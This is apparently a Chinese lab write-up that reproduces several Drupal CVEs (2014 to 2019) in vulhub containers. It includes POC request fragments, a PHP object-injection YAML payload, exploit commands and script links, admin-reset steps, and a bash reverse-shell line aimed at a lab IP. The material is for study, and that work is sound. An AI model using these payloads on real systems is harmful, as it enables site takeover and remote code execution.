Drupal 2019年前的系列漏洞复现
Drupal是使用PHP语言编写的开源内容管理框架(CMF),它由内容管理系统(CMS)和PHP开发框架(Framework)共同构成。连续多年荣获全球最佳CMS大奖,是基于PHP语言最著名的WEB应用程序。截止2011年底,共有13,802位WEB专家参加了Drupal的开发工作;228个国家使用181种语言的729,791位网站设计工作者使用Drupal。著名案例包括:联合国、美国白宫、美国商务部、纽约时报、华纳、迪斯尼、联邦快递、索尼、美国哈佛大学、Ubuntu等。
以下漏洞的复现环境都是vulhub
CVE-2014-3704 SQL注入漏洞
Drupal 是一款用量庞大的CMS,其7.0~7.31版本中存在一处无需认证的SQL漏洞。通过该漏洞,攻击者可以执行任意SQL语句,插入、修改管理员信息,甚至执行任意代码。
poc
1 | POST /?q=node&destination=node HTTP/1.1 |
EXP -重置管理员用户为指定用户信息
依赖脚本drupalpass:https://github.com/cvangysel/gitexd-drupalorg/blob/master/drupalorg/drupalpass.py
1 | import urllib2,sys |
使用上述脚本进行测试,尝试添加管理员用户abc/123123:
然后用abc/123123登录成功:
进入mysql容器:
查看到admin被替换:
参考链接:https://www.freebuf.com/vuls/47690.html
CVE-2017-6920 Drupal Core 8 PECL YAML 反序列化任意代码执行漏洞
利用条件:需要管理员帐号密码
POC:
1 | !php/object "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\0GuzzleHttp\\Psr7\\FnStream\0methods\";a:1:{s:5:\"close\";s:7:\"phpinfo\";}s:9:\"_fn_close\";s:7:\"phpinfo\";}" |
步骤:
1、登录管理员
2、访问:http://192.168.116.132/admin/config/development/configuration/single/import
3、Configuration type
选择 Simple configuration
,Configuration name
任意填写,Paste your configuration here
中填写POC
CVE-2018-7600 Drupal Drupalgeddon 2 远程代码执行
POC:
1 | POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1 |
执行id
CVE-2018-7602 远程代码执行
利用条件:需要帐号信息
POC:
python3 drupa7-CVE-2018-7602.py -c “id” drupal drupal http://127.0.0.1:8081/
1 | #!/usr/bin/env python3 |
CVE-2019-6339 远程代码执行
利用条件:需要管理员帐号信息
下载利用文件:https://github.com/thezdi/PoC/tree/master/Drupal
进入用户编辑界面http://192.168.116.132:8080/user/1/edit,上传图片并保存
进入http://192.168.116.132:8080/admin/config/media/file-system界面,在Temporary directory处输入:phar://./sites/default/files/pictures/2020-11/blog-ZDI-CAN-7232-cat.jpg点击保存
修改命令为创建文件1111:
尝试getshell,修改图片:s为50即命令字符数为50,命令为/bin/bash -i >& /dev/tcp/192.168.116.132/9999 0>&1。反弹未成功
CVE-2019-6340 远程代码执行
Drupal Core存在一个远程代码执行漏洞。此次,它的目标是Drupal 8的REST模块,默认情况下,该模块是禁用了,但是该模块在大多数情况下会被用户使用。该漏洞本质上是由于用户使用Drupal Core RESTful Web Services (rest)时,某些字段类型无法正确清理非格式源中的数据。在某些情况下,这可能导致任意PHP代码执行。此外,我们发现针对该漏洞提出的即时补救措施是不完整的,这可能会导致一种错误的安全感。用户可能会根据官方的说明禁用掉RESTful Web Services 中的POST/PATCH方法,但是事实上GET方法也能在无任何权限的情况下执行远程代码,所以用户必须执行Drupal的最新的安全更新或者禁用RESTful Web Services服务,否则网站依旧处于风险当中。
影响版本
Drupal 8.6.x < 8.6.10
Drupal 8.5.x < 8.5.11
可使用脚本:https://github.com/zhzyker/exphub/blob/master/drupal/cve-2019-6340_cmd.py,也可以使用下列POC
POC:
1 | # CVE-2019-6340 Drupal <= 8.6.9 REST services RCE PoC |
CVE-2019-6341 XSS
POC
php blog-poc.php 192.168.116.132 8080
1 |
|